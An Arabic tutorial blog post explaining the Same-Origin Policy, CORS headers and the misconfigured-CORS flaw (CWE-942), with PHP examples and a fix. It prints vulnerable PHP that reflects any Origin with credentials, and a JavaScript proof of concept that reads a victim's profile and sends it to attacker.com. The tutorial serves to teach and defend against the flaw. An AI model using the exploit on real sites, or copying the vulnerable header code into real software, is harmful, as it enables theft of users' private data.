شرح حماية SOP و CORS والثغرات اللتي تحدث بسببها وطرق الحماية
الSOP/CORS هم حصانة المعلومات الحساسة من هجمات CORS vulnerability !
* السلام عليكم ورحمة الله وبركاته *
------------------
الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد :-
--------------------
قبل كل شيء حبيت اذكر شرح ودرس عربي للSOP/CORS لأخونا ابراهيم حجازي : SOP, CORS, CSP and Exploiting Misconfigured CORS
انصح الجميع بمتابعته قبل البدأ بالموضوع هنا, لأن فيه تعمق في هذا الموضوع .
----------------
# ماهو SOP (Same-Origin Policy) :-
التعريف القصير : هو حماية متواجدة في كل المتصفحات وظيفتها تمنع الموقع B بأنه يقرأ Response Data موقع A اذا لم تتطابق الشروط الثلاث بين A و B وهي (اسم الدومين/بورت او منفذ الدومين/URI scheme) .
- URI Scheme : هو اللي يأتي قبل :// وعشان توضح لك الفكرة مثلا عندك ذا الرابط ftp://3alam.pro ف تلقائيا الURI Scheme هو ftp
التوضيح : لنقول لديك موقع والموقع هذا لنقل انه اسمه Boom.com ولديك موقع آخر اسمه Null.com ولنقل ان Null.com يحتوي على API endpoint وظيفته يقوم بأستخراج معلومات العميل وتريد ان يتم ارساله الى Boom.com ,, في هالحالة خلونا نسوي جدول ونشوف اذا الثلاث شروط تطابقت او لا ؟ :-
A Site | B Site | نتيجة المقارنة |
https:// | https:// | تطابقت بنجاح (URI Scheme) |
Boom.com | Null.com | فشل التطابق (Domain/اسم الموقع) |
443 | 443 | تطابقت بنجاح (Port/المنفذ) |
للأسف ان (Domain/اسم الموقع) لم يتطابق فالمتصفح بحماية SOP سوف يقف عائق للمبرمج المسكين :( !! حاليا المبرمج في حيرة ويحتاج Boom.com معرفة معلومات العميل من Null.com (API) ! فما الحل !؟ هنا يأتي دور مايسمى CORS .
----------------
# ماهو CORS (Cross-Origin Resource Sharing) :-
التعريف القصير : هو المسؤول عن السماح ورفض تمرير وقراءة Response data بين موقع A وموقع B .
التوضيح : لنكمل ماتوقفنا عنده في جزئية شرح SOP,, الCORS هم بالواقع عبارة عن Headers Response واللي بنتكلم عنه اليوم والمهم هم ومن أجل ان يستطيع Boom.com من اخذ Response Data من Null.com (API) لازم نعرف ان فيه Headers Response لازم يتم تعيينها في Null.com وهي :-
- Access-Control-Allow-Origin : هو Header Response قيمته نضعها https://boom.com ليسمح له بأخذ اي معلومات منه (المعلومات اللي اتحدث عنها هي : Response Data)
- Access-Control-Allow-Credentials : هو Header Reponse فقط قيمته true/false ويعني true السماح ل Boom.com اللذي وضعناه في Access-Control-Allow-Origin بأنه يحصل على Response Data .
وهنا مثال بلغة PHP لعملية التعيين اللي حصلت في Null.com (API) :-
<?php
header('Access-Control-Allow-Origin: https://boom.com/');
header('Access-Control-Allow-Credentials: true');
?>
وبعد التعيين سوف يقوم المبرمج بأعادة المحاولة مرة اخرى وجعل Null.com يسمح لBlock.com بأخذ Response data (Null.com API) وكتبت جافا سكربت كود بسيط يشرح فكرة الأتصال بينهم :-
<script>
var api = new XMLHttpRequest();
api.onreadystatechange = function() {
if (this.readyState == 4) {
alert(this.responseText);
}
};
api.open("GET", "https://null.com/api/profile", true);
api.withCredentials = true; // هذا اللاين يجعل الطلب يتم على جلستك (Cookies)
api.send();
</script>
وسوف يلاحظ المبرمج ان رسالة الخطأ في Console تختفي ويظهر له alert box فيه معلومات العميل وسوف يفرح المبرمج ويعانق صديقه UI Developer على حل هذه المشكلة .
ولازم نعرف ان Header Request المسؤول انه يتعرف مع Headers Response هو Origin :-
Demo :-
- Request :-
GET https://syndication.twitter.com/settings HTTP/1.1
Host: syndication.twitter.com
Origin: https://platform.twitter.com
- Response :-
HTTP/1.1 200 OK
access-control-allow-credentials: true
access-control-allow-origin: https://platform.twitter.com
cache-control: must-revalidate, max-age=600
content-length: 97
content-type: application/json; charset=utf-8
date: Sat, 04 May 2019 09:58:49 GMT
last-modified: Sat, 04 May 2019 09:58:49 GMT
server: tsa_o
set-cookie: tfw_exp=0; Max-Age=86400; Expires=Sun, 5 May 2019 09:58:49 GMT; Path=/; Domain=.twitter.com
strict-transport-security: max-age=631138519
vary: Origin
x-connection-hash: 5448a75fbb4145c52757431d95ea9c71
x-response-time: 116
{"should_obtain_cookie_consent":false,"is_bucketed":false,"experiments":{},"is_allowed_ads":true}
زي ماتشوفون :-
access-control-allow-credentials: true
access-control-allow-origin: https://platform.twitter.com
سوف يسمح syndication.twitter.com بأن platform.twitter.com ان يأخذ منه Response Data اللي هي :-
{"should_obtain_cookie_consent":false,"is_bucketed":false,"experiments":{},"is_allowed_ads":true}
Access-Control-Allow-Headers : لتحديد Headers الألزامية تواجدها في Request Packet
Access-Control-Allow-Methods : لتحديد Methods HTTP مثل GET و POST الألزامية استقبالها
-------------------------
# ثغرة Misconfigured CORS :-
للأسف الشديد مع كل تلك الحمايات والأساليب المعقدة من اجل رفع مستوى أمان أعمال المبرمج في الويب الا أن المبرمج يتسبب بنفسه بثغرة خطيرة قد تسبب الى سحب معلومات مستخدمي موقعه او تطبيقه او عملاءه ويفقد سمعته في الخصوصية وأشياء ممكن ان تكون أخطر أخطر,
سبب حدوث هذه الثغرة : عدم علم او معرفة كافية للمبرمج عن حماية CORS بحيث يسمح لأي موقع ويقوم بتمرير البيانات له مباشرة .
خطورة الثغرة : تسبب الثغرة الى سحب معلومات حساسة بدون أذن الضحية
معرف الثغرة : CWE-942
بعض المبرمجين يجعلون اي موقع يتم اضافته في Origin Header يقبله موقع A ويسلمه الداتا رسبونس ومثال برمجي هنا :-
<?php
header('Access-Control-Allow-Origin: '.$_SERVER['HTTP_Origin']);
header('Access-Control-Allow-Credentials: true');
?>
هنا يعتبر مصاب لأن المهاجم سوف يضع اي موقع وسوف يتم اضافته للAccess-Control-Allow-Origin ويسمح له بأخذ Response data , وبعض الأخطاء الواردة بكثرة وهي وضع * :-
access-control-allow-credentials: true
access-control-allow-origin: *
علامة * تعني انه مسموح لكل المواقع ان تأخذ response data لكن بشرط عدم وجود "Cookies" في Request وهي في الواقع لاتعتبر خطيرة .
لكن يفضل التخلص منها وهنا مثال على الترقيع :-
<?php
if($_SERVER['HTTP_Origin'] == 'https://boom.com'){
# You are safe :0
}
?>
فيجب على المبرمج تحديد whitelist للمواقع المسموح لها التعامل مع Response data الحساسة
ويستطيع المهاجم كتابة جافا سكربت كود يسحب فيه معلومات عملائك مثلا هذا الأستغلال :-
<!DOCTYPE html>
<html>
<head>
<script>
var xploit = new XMLHttpRequest();
xploit.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.location='https://attacker.com/exploit.php?data='+this.responseText;
}
};
xploit.open("GET", "https://null.com/api/profile", true);
xploit.withCredentials = true;
xploit.send();
</script>
</head>
</html>
الضحية اول مايدخل على تلك الصفحة الموجود فيها تلقائيا سوف تتحول كل معلوماته للمهاجم attacker.com وراح يكشف على خصوصية معلوماته
وهنا مقطع يوتيوب عملي :-
https://www.youtube.com/watch?v=mkv8aoJzGSo
-----------------------
أتمنى ان الدرس كان مفهوم جيدا :)
1337r00t | Blackfoxs
التعليقات (2)
جميل ما شاء الله اعجبني الشرح
يعطيك العافية عالجهد المبذول
شرح واضح وجميل
لايوجد لديك حساب في عالم البرمجة؟
تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !